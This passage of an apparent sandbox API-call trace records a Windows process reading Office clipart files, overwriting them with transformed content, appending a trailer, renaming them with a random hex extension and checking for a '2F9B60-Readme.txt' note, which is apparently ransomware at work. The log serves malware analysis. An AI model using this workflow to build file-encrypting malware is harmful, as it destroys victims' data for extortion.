lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1580 [0106.523] GetFileSizeEx (in: hFile=0x1580, lpFileSize=0x2d74fb40 | out: lpFileSize=0x2d74fb40*=7966) returned 1 [0106.523] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x1f1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.523] ReadFile (in: hFile=0x1580, lpBuffer=0x2d74fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d74fb08, lpOverlapped=0x0 | out: lpBuffer=0x2d74fac0*, lpNumberOfBytesRead=0x2d74fb08*=0x4, lpOverlapped=0x0) returned 1 [0106.529] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0106.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.529] NtQuerySystemTime (in: CurrentTime=0x2d74fa00 | out: CurrentTime=0x2d74fa00*=132462177120154000) returned 0x0 [0106.529] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x57bf2af5 [0106.529] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x751eb0d3 [0106.529] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x64b1ac9d [0106.529] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x166334ff [0106.529] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x5f4cd2d6 [0106.529] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x41eccb41 [0106.529] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x118eee80 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x181dcee4 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x23098b3c [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x2b497cce [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0xc0c12e0 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x7a59546d [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x1090caa9 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x5b9dcc9 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x8ba5326 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x374710e4 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x790effa4 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x1f976cdf [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x40c4873b [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x69c2cc25 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x722e7d94 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x15e86500 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x4201f4a8 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x3803b575 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x5bd939eb [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0xe46c318 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0xdd1f3ff [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x7ce873dd [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x541dc17c [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x3fcc4ad2 [0106.530] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x2e2df879 [0106.531] RtlRandomEx (in: Seed=0x2d74f9f0 | out: Seed=0x2d74f9f0) returned 0x463cb58c [0106.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eaa520 [0106.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e9f0f0 [0106.542] ReadFile (in: hFile=0x1580, lpBuffer=0x41eaa520, nNumberOfBytesToRead=0x1f1e, lpNumberOfBytesRead=0x2d74f9f0, lpOverlapped=0x0 | out: lpBuffer=0x41eaa520*, lpNumberOfBytesRead=0x2d74f9f0*=0x1f1e, lpOverlapped=0x0) returned 1 [0106.549] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.549] WriteFile (in: hFile=0x1580, lpBuffer=0x41e9f0f0*, nNumberOfBytesToWrite=0x1f1e, lpNumberOfBytesWritten=0x2d74f9f4, lpOverlapped=0x0 | out: lpBuffer=0x41e9f0f0*, lpNumberOfBytesWritten=0x2d74f9f4*=0x1f1e, lpOverlapped=0x0) returned 1 [0106.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e9f0f0) returned 1 [0106.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eaa520) returned 1 [0106.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced7b30 [0106.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8550 [0106.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.582] SetFilePointerEx (in: hFile=0x1580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.582] WriteFile (in: hFile=0x1580, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d74fb10, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2d74fb10*=0x10a, lpOverlapped=0x0) returned 1 [0106.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7320 [0106.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7320) returned 1 [0106.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.600] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="78") returned 2 [0106.600] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="ba") returned 2 [0106.600] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="0a") returned 2 [0106.600] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="5e") returned 2 [0106.600] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="98") returned 2 [0106.600] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="eb") returned 2 [0106.600] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="5b") returned 2 [0106.600] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="13") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="93") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="4e") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="04") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="9c") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="ed") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="5c") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="e3") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="3e") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="c2") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="3a") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="dc") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="f8") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="16") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="73") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="21") returned 2 [0106.601] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="29") returned 2 [0106.601] RtlInitAnsiString (in: DestinationString=0x2d74fb88, SourceString="78ba0a5e98eb5b13934e049ced5ce33ec23adcf816732129" | out: DestinationString="78ba0a5e98eb5b13934e049ced5ce33ec23adcf816732129") [0106.601] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d74fb58, SourceString="78ba0a5e98eb5b13934e049ced5ce33ec23adcf816732129", AllocateDestinationString=1 | out: DestinationString="78ba0a5e98eb5b13934e049ced5ce33ec23adcf816732129") returned 0x0 [0106.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5940 [0106.602] RtlFreeAnsiString (AnsiString="7") [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8370) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced84c0) returned 1 [0106.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.603] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204fff50 [0106.603] wcscat (in: _Dest=0x204fff50, _Source="78ba0a5e98eb" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78ba0a5e98eb") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78ba0a5e98eb" [0106.603] wcscat (in: _Dest=0x204fff50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78ba0a5e98eb.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78ba0a5e98eb.2f9b60" [0106.603] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78ba0a5e98eb.2f9b60", NtPathName=0x2d74fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\78ba0a5e98eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202792b0 [0106.603] NtSetInformationFile (FileHandle=0x1580, IoStatusBlock=0x2d74fbd0, FileInformation=0x202792b0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202792b0) returned 1 [0109.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202918c0) returned 1 [0109.528] NtQueryInformationFile (in: FileHandle=0x1580, IoStatusBlock=0x2d74fb98, FileInformation=0x2d74fba8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d74fb98, FileInformation=0x2d74fba8) returned 0x0 [0109.528] NtSetInformationFile (FileHandle=0x1580, IoStatusBlock=0x2d74fb98, FileInformation=0x2d74fba8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fff50) returned 1 [0109.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5940) returned 1 [0109.533] FlushFileBuffers (hFile=0x1580) returned 1 [0109.536] CloseHandle (hObject=0x1580) returned 1 [0109.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x204ffeb0 [0109.545] wcscpy (in: _Dest=0x204ffeb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.545] wcscat (in: _Dest=0x204ffeb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffeb0) returned 1 [0109.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4cf00) returned 1 Thread: id = 731 os_tid = 0x1250 [0096.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0106.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF", dwFileAttributes=0x20) returned 1 [0106.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17c4 [0106.160] GetFileSizeEx (in: hFile=0x17c4, lpFileSize=0x2d81f940 | out: lpFileSize=0x2d81f940*=13515) returned 1 [0106.160] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x34c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.160] ReadFile (in: hFile=0x17c4, lpBuffer=0x2d81f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d81f908, lpOverlapped=0x0 | out: lpBuffer=0x2d81f8c0*, lpNumberOfBytesRead=0x2d81f908*=0x4, lpOverlapped=0x0) returned 1 [0106.196] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.196] NtQuerySystemTime (in: CurrentTime=0x2d81f800 | out: CurrentTime=0x2d81f800*=132462177116878000) returned 0x0 [0106.196] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x394c8cbd [0106.196] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x7ab6e176 [0106.196] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x3adf8489 [0106.196] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x32fae0bf [0106.196] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x281486e1 [0106.196] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x1c7fd0c1 [0106.196] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x4bfc5c89 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x72e3997d [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0xfdab1af [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x1dbfe4a4 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x6e8e89f6 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x1c753729 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x21b42b17 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x5c25e8e7 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x7f866b8f [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x2110bad4 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x688aa711 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x1ffac941 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x562df217 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x5f349acd [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x6951aa28 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x405dd92d [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x108bab6d [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x7ba5a42d [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x5c48ae19 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x5b486b82 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x31af14f3 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x25eb95e7 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x1f7ad457 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x28068d6d [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x5a7bc274 [0106.197] RtlRandomEx (in: Seed=0x2d81f7f0 | out: Seed=0x2d81f7f0) returned 0x4664acf2 [0106.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f4c1b0 [0106.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f178d0 [0106.250] ReadFile (in: hFile=0x17c4, lpBuffer=0x41f4c1b0, nNumberOfBytesToRead=0x34cb, lpNumberOfBytesRead=0x2d81f7f0, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesRead=0x2d81f7f0*=0x34cb, lpOverlapped=0x0) returned 1 [0106.303] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.303] WriteFile (in: hFile=0x17c4, lpBuffer=0x41f178d0*, nNumberOfBytesToWrite=0x34cb, lpNumberOfBytesWritten=0x2d81f7f4, lpOverlapped=0x0 | out: lpBuffer=0x41f178d0*, lpNumberOfBytesWritten=0x2d81f7f4*=0x34cb, lpOverlapped=0x0) returned 1 [0106.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6140 [0106.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b60 [0106.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b60) returned 1 [0106.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f178d0) returned 1 [0106.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0106.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6b60 [0106.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a64a0 [0106.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64a0) returned 1 [0106.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a64a0 [0106.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a63e0 [0106.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6410 [0106.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6410) returned 1 [0106.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167700 [0106.316] SetFilePointerEx (in: hFile=0x17c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.317] WriteFile (in: hFile=0x17c4, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d81f910, lpOverlapped=0x0 | out: lpBuffer=0x167700*, 